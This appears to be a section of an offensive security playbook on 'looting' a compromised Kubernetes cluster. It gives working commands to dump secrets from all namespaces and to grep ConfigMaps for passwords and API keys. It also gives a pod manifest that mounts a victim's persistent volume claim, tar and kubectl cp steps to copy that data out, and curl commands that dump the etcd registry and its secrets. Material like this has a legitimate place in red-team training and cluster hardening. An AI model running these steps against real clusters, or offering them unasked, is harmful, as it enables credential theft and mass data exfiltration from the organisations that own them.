Data Exfiltration

This section covers how to correctly loot a K8S cluster after full cluster compromise.

Overview

After establishing persistence capabilities, the final phase focuses on data exfiltration. This section covers techniques for extracting sensitive data from Kubernetes environments, including secrets, application data, and cluster configuration information.

Data Discovery Strategy

High-Value Targets in Kubernetes:

1. Kubernetes Secrets (API keys, passwords, certificates)

2. ConfigMaps (configuration data, connection strings)

3. Service Account Tokens (authentication credentials)

4. Container Images (embedded secrets, source code)

5. Persistent Volumes (application data, databases)

6. etcd Database (complete cluster state)

7. Application Logs (sensitive information leakage)

8. Environment Variables (embedded credentials)

---

Secret Discovery and Extraction

By looting those secrets we can either keep access to the cluster until they rotate or facilitate our lateral movement.

Interesting Secrets:

• cluster's TLS secrets

• Docker Registry credentials

• Service account tokens

Basic Secret Discovery:

# List all secrets across namespaces
kubectl get secrets --all-namespaces

# Get detailed secret information
kubectl get secrets --all-namespaces -o yaml

# Filter by secret types
kubectl get secrets --all-namespaces --field-selector type=Opaque
kubectl get secrets --all-namespaces --field-selector type=kubernetes.io/tls
kubectl get secrets --all-namespaces --field-selector type=kubernetes.io/dockerconfigjson

---

ConfigMap Data Extraction

Although ConfigMaps are not intended to store sensitive information, they are frequently misused to hold secrets such as credentials, API keys, and connection strings. In practice, developers often place configuration data and secrets together for convenience, making ConfigMaps a valuable target during post‑exploitation.

# Look for sensitive connection strings
kubectl get configmaps --all-namespaces -o yaml | grep -E "(password|token|key|secret|connection|database|api)" -i -A5 -B5

# Look for database connection strings
kubectl get configmaps --all-namespaces -o yaml | grep -E "(connection|database|db_|mysql|postgres|mongo)" -i -A5 -B5

# Look for API endpoints and keys
kubectl get configmaps --all-namespaces -o yaml | grep -E "(api_key|endpoint|url|host)" -i -A5 -B5

# Look for application configurations
kubectl get configmaps --all-namespaces -o yaml | grep -E "(config|settings|properties)" -i -A10 -B5

---

Persistent Volume Data Access

Persistent Volumes are used to store long‑lived and highly sensitive data such as application state, logs, backups, and databases. Once we have sufficient permissions to enumerate or mount Persistent Volumes and Persistent Volume Claims, we can identify which workloads use shared or reusable storage and directly access the underlying data.

By attaching an existing PVC to a controlled pod, we can read, archive, and exfiltrate stored information, bypassing application‑level protections and gaining access to credentials, configuration files, or historical data that may no longer be accessible through the running application itself.

PV and PVC Analysis:

# List all persistent volumes
kubectl get pv -o wide

# List all persistent volume claims
kubectl get pvc --all-namespaces -o wide

# Get detailed PV information
kubectl get pv -o yaml > /tmp/exfiltrated-data/persistent-volumes.yaml

# Analyze PVC bindings
kubectl get pvc --all-namespaces -o json | jq -r '
.items[] | 
{
  namespace: .metadata.namespace,
  name: .metadata.name,
  volume: .spec.volumeName,
  storage: .spec.resources.requests.storage,
  access_modes: .spec.accessModes,
  storage_class: .spec.storageClassName
}'

Defining the Persistent Volume Claim:

# Pod to access persistent volume data
apiVersion: v1
kind: Pod
metadata:
  name: pv-accessor
  namespace: default
spec:
  containers:
  - name: accessor
    image: alpine:latest
    command: ["/bin/sh", "-c", "sleep 3600"]
    volumeMounts:
    - name: target-volume
      mountPath: /mnt/data
  volumes:
  - name: target-volume
    persistentVolumeClaim:
      claimName: target-pvc

Mounting and Accessing PV Data:

# Deploy PV accessor pod
kubectl apply -f pv-accessor.yaml

# Access mounted data
kubectl exec -it pv-accessor -- find /mnt/data -type f -name "*.log" -o -name "*.conf" -o -name "*.db" -o -name "*.pem" -o -name "*.key"
kubectl exec -it pv-accessor -- tar -czf /tmp/pv-data.tar.gz /mnt/data
kubectl cp pv-accessor:/tmp/pv-data.tar.gz ./pv-data.tar.gz

---

etcd Data Extraction

Loot all data from etcd:

# Extract all Kubernetes data from etcd
curl -k https://<etcd_server>:2379/v2/keys/registry?recursive=true | jq '.' > /tmp/etcd-dump.json

# Extract specific secret data
curl -k https://<etcd_server>:2379/v2/keys/registry/secrets